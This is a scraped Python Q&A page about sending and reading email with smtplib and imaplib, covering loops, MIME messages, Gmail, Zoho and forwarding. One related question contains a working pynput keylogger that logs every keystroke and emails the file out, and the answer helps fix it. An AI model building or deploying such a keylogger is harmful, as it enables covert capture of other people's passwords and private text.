sending emails in a loop In PYTHON 2.7 - python

I am currently trying to make a program that send multiple emails to my self in a loop. I have already written 2 patches of code but i can not seem to get them to work. (I am running this on a raspberry pi so exsuse any weird directorys).
This is my first patch of while loop code
import os
i = 0
while i < 2:
os.pause(4)
os.system("home/Tyler/desktop/test.py")
i += 1
This opens the email "sending" part /\ .
This down here is the "sending" part /
import smtplib
smtpUser = 'smilingexample#gmail.com'
smtpPass = 'password'
toAdd = 'Example#aim.com'
fromAdd = smtpUser
subject = 'yep'
header = 'to: ' + toAdd + '\n' + 'From: ' + fromAdd + '\n' + 'Subject: ' + subject
body = 'hi'
print header + '\n' + body
s = smtplib.SMTP('smtp.gmail.com',587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(smtpUser, smtpPass)
s.sendmail(fromAdd, toAdd, header + '\n\n' + body)
s.quit ()

import datetime
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
from email import Charset
Charset.add_charset('utf-8', Charset.QP, Charset.QP, 'utf-8')
maillist = []
def send_email(messages_list, smtpUser=None, smtpPass=None, tls=False):
failed = []
try:
s = smtplib.SMTP('smtp.gmail.com',587)
s.ehlo()
if tls:
s.starttls()
s.ehlo()
if smtpUser and smtpPass:
s.login(smtpUser, smtpPass)
except:
print "ehlo failed"
failed = [x[0] for x in messages_list]
else:
for to_address,from_address,subject,encoding,mesg in messages_list:
try:
if len(mesg) == 2:
msg = MIMEMultipart('alternative')
else:
msg = MIMEText(mesg[0],'plain','utf-8')
msg['Subject'] = "%s" % Header(subject, 'utf-8')
if len(from_address) == 2:
msg['From'] = "\"%s\" <%s>" % (Header(from_address[0], 'utf-8'), from_address[-1])
else:
msg['From'] = from_address[-1]
if len(to_address) == 2:
msg['From'] = "\"%s\" <%s>" % (Header(to_address[0], 'utf-8'), to_address[-1])
else:
msg['To'] = to_address[-1]
msg.set_charset("utf-8")
if len(mesg) == 2:
part1 = MIMEText(mesg[0], 'plain','utf-8')
part2 = MIMEText(mesg[1], 'html','utf-8')
msg.attach(part1)
msg.attach(part2)
s.sendmail(from_address[-1], to_address[-1], msg.as_string())
except:
traceback.print_exc()
failed.append(to_address[-1])
try:
s.quit()
except:
pass
return failed
maillist.append(( ['someone#gmail.com'],["Me","noreply#example.com"],'Subject','utf-8',['text_message','html but you can delete this list element'] ))
for k in send_email(maillist, smtpUser='you#gmail.com', smtpPass='pwd', tls=True):
print k, 'not delivered'
Here's what we use to send alternative Mime messages with alternative body. It is not necessary though so you can send simple text messages as well.
It's prepared to send from localhost but you can easily modify it to use it properly.

Related

Email sending before file is saved

I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **

Not able to read my gmail inbox using the imap python module

Below is the code that is supposed to read my Gmail account.
import smtplib
import time
import imaplib
import email
from reportlab.pdfgen import canvas
ORG_EMAIL = '#gmail.com'
FROM_EMAIL = 'amitesh.sahay#gmail.com'
FROM_PWD = '<my_password>'
SMTP_SERVER = 'imap.gmail.com'
SMTP_PORT = 993
# -------------------------------------------------
#
# Utility to read email from Gmail Using Python
#
# ------------------------------------------------
def read_email_from_gmail():
try:
mail = imaplib.IMAP4_SSL(SMTP_SERVER)
mail.login(FROM_EMAIL,FROM_PWD)
mail.select('inbox')
type1, data = mail.search(None, 'ALL')
mail_ids = data[0]
id_list = mail_ids.split()
first_email_id = int(id_list[0])
latest_email_id = int(id_list[-1])
for i in range(latest_email_id,first_email_id, -1):
type1, data = mail.fetch(i, '(RFC822)' )
for response_part in data:
if isinstance(response_part, tuple):
msg = email.message_from_string(response_part[1])
email_subject = msg['subject']
email_from = msg['from']
print('From : ' + email_from + '\n')
print('Subject : ' + email_subject + '\n')
except ValueError:
print("Oops! That was no valid mailbox. Try again...")
When I execute the code, it runs without throwing any error, but it's not giving any output as well. I am using python 3.6 and Installed all the python package that comes inbuilt within PyCharm. Is there anything that somebody can point out which could be a probable issue?
Please let me know if any further details are required.

How to gmail like forward email?

Is there any way to forward email(gmail like - you know... with additional text under) using smtp?
Here is a piece of my code:
def forward_email(email_id, email_to):
client, messages = get_original_email(email_id)
typ, data = client.fetch(messages[0].split(' ')[-1], '(RFC822)')
email_data = data[0][1]
message = email.message_from_string(email_data)
smtp = smtplib.SMTP(EMAIL_HOST, EMAIL_PORT)
smtp.ehlo()
smtp.starttls()
smtp.login(IMAP_LOGIN, IMAP_PASSWORD)
result = smtp.sendmail(email.utils.parseaddr(message['From']),
email_to, message.as_string())
smtp.quit()
return result
Now it's not working because message.as_string() has special headers and other unused info.
I guess gmail blocked it because this.
below code worked for me correctly, even sending mail continuously on function call
def send_email(to='example#email.com', f_host='send.one.com', f_port=587, f_user='from#me.com', f_passwd='my_pass', subject='subject for email', message='content message'):
smtpserver = smtplib.SMTP(f_host, f_port)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(f_user, f_passwd) # from email credentialssssssssss
header = 'To:' + to + '\n' + 'From: ' + f_user + '\n' + 'Subject:' + subject + '\n'
message = header + '\n' + message + '\n\n'
smtpserver.sendmail(f_user, to, str(message))
smtpserver.close()
DBG('Mail is sent successfully!!')

Send e-mail from Python through Zoho

I'm trying to send an e-mail from Zoho, but: sometimes I receive emails, sometimes not, and it happens also with other persons.
But in mail.zoho.com all emails exists in SENT E-MAILS, but people sometimes did not receive, and it is not a Spam problem.
def sendMailTo(subject='', msgHTML='', to='', no_reply=False, mail_type=None):
try:
j = json.loads(msgHTML)
msgHTML = ""
for k in j.keys():
msgHTML += str(k) + ": " + str(j[k])
msgHTML += "\n"
except ValueError:
pass
#Create the root message and fill in the from, to, and subject headers
msg = MIMEMultipart('related')
msg2 = MIMEText(msgHTML, 'html', 'UTF-8') #Content-Type: text/html; charset="us-ascii"
msg.attach(msg2)
# This example assumes the image is in the current directory
import os
os.chdir(os.path.dirname(__file__))
#print(os.getcwd())
fp = open('./utils/images/logo.png', 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
# Define the image's ID as referenced above
msgImage.add_header('Content-ID', '<logo>')
msg.attach(msgImage)
fp = open('./utils/images/facebook.png', 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
# Define the image's ID as referenced above
msgImage.add_header('Content-ID', '<facebook>')
msg.attach(msgImage)
recipients = [to]
TO = ", ".join(recipients)
msg['Subject'] = subject
msg['To'] = TO
if no_reply:
FROM = "no-reply#xxxxx.com"
msg['From'] = FROM
# Send the message via our own SMTP server, but don't include the
# envelope header.
s = smtplib.SMTP_SSL('smtp.zoho.com', 465)
# s.set_debuglevel(1)
# s.starttls()
s.ehlo()
s.login(FROM, 'yoyoyoyoyoyo')
s.sendmail(FROM, recipients, msg.as_string())
s.quit()
else:
FROM = "xxxxxxxxx#gmail.com"
msg['From'] = FROM
# Send the message via our own SMTP server, but don't include the
# envelope header.
s = smtplib.SMTP('smtp.gmail.com', 587)
#s.set_debuglevel(1)
#s.ehlo()
s.starttls()
s.login(FROM, 'yoyoyoyoyoyo')
s.sendmail(FROM, recipients, msg.as_string())
s.quit()

error sending multiple mails through smtp

I am trying to develop a small python application that allows it's user to send multiple mails through python, I am using gmail, I have allowed Access for less secure apps, it doesn't send.
I have searched stackoverflow for similar problems, but it seemed that most of the used codes are completely different in implementation, even after trying many of hem, they all through exception
import smtplib
from telnetlib import Telnet
def addSenders(message):
num = input("enter number of recievers : ")
num = int (num)
i = 0
emailList = []
while i < num :
nameStr = input("enter name")
mailStr = input("enter e-mail")
emailList.append(mailStr)
if i == 0:
message += nameStr + " <" + mailStr + ">"
print(message)
else:
message += "," + nameStr + " <" + mailStr + ">"
i = i + 1
return emailList, message
sender = 'xxxx#gmail.com'
password = "xxxx"
message = """From: xxxx xxxx <xxxxx#gmail.com>
To: To """
to, message = addSenders(message)
message += """
MIME-Version: 1.0
Content-type: text/html
Subject: Any Subject!
<h1> Good Morning :D <h1>
"""
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.login(sender, password)
try:
server.sendmail(sender, [to], message)
print ("Successfully sent email")
except:
print ("Error: unable to send email")
server.quit()
output : Error: unable to send email

Categories

Resources